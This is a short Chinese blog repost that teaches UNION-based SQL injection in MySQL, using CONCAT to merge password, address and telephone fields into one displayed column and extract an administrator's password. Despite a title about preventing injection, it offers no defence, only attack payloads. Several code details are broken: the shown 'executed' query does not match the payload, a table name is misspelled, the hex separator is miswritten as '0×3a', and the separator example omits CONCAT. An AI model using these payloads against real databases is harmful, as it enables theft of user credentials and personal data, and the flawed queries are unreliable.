mysql使用concat防注入_Mysql必读Mysql数据库使用concat函数执行SQL注入查询

MysqL必读MysqL数据库使用concat函数执行sql注入查询,希望对您有用。如果有疑问,可以联系我们。

sql注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来.

代码如下:

select username,email,content from test_table where user_id=uid;

其中uid,是用户输入的.正常显示结果会出现用户名,用户邮箱,用户留言内容.但是如果uid过滤不严,我们可以构造如下sql语句来获得任意数据表信息.

代码如下:

uid=-1 union select username,password,content from test_talbe where user_id=管理员id;

实际执行就是

代码如下:

select username,content from test_table where user_id=-1 union select username,content from test_talbe where user_id=管理员id;

其中显示正常用户emai的地方,变成了显示管理员的密码了.

但是,往往事情并不是这么简单,首先要找到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适.最后就是本文要说的.

如果出现问题的sql语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要.那么我们可以使用concat函数.

concat函数本来是这样用的SELECT CONCAT('My','S','QL');执行结果是'MysqL'.也就是连接作用的.我们利用它来为我们服务,

代码如下:

uid=-1 union select username,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;

这个语句实际查询了六个字段,但是显示的时候,把password,telephone等字段合在一起,显示在原本应该显示email的地方.

更好的方法:中间用分隔符分开:

代码如下:

uid=-1 union select username,0×3a,content from test_talbe where user_id=管理员id;

其中0×3a是“:”的十六进 制形式.

总结

如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。

如您喜欢交流学习经验,点击链接加入交流1群:1065694478(已满)交流2群:163560250

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值